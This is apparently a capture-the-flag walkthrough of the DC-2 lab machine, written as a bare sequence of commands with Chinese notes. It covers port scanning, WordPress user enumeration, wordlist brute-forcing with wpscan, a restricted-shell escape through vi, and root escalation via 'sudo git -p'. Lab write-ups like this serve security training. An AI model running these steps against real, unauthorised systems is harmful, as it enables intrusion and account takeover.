目录
masscan --rate=100000 -p 1-65535 192.168.101.69
nmap -T4 -sV -p80,7744 -A 192.168.101.69
由于发现网站框架使用的wordpress,本次测试使用wpscan进行。
cewl http://dc-2 -w wordlist.txt
wpscan --url http://dc-2/ -e u
wpscan --url http://dc-2 -U admin -P wordlist.txt
wpscan --url http://dc-2 -U jerry -P wordlist.txt
wpscan --url http://dc-2 -U tom -P wordlist.txt
root@kali:~# ssh tom@192.168.101.69 -p 7744
tom@192.168.101.69's password:The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.tom@DC-2:~$
tom@DC-2:~$ lsflag3.txt usr
tom@DC-2:~$ cat flag3.txt-rbash: cat: command not foundvi flag3.txt,内容如下:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.or old Tom is always running after
vi flag3.txt
输入:set shell=/bin/sh回车
输入:shell回车
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
jerry@DC-2:~$ sudo git -p
输入!/bin/sh提权到root
- cd /root
- ls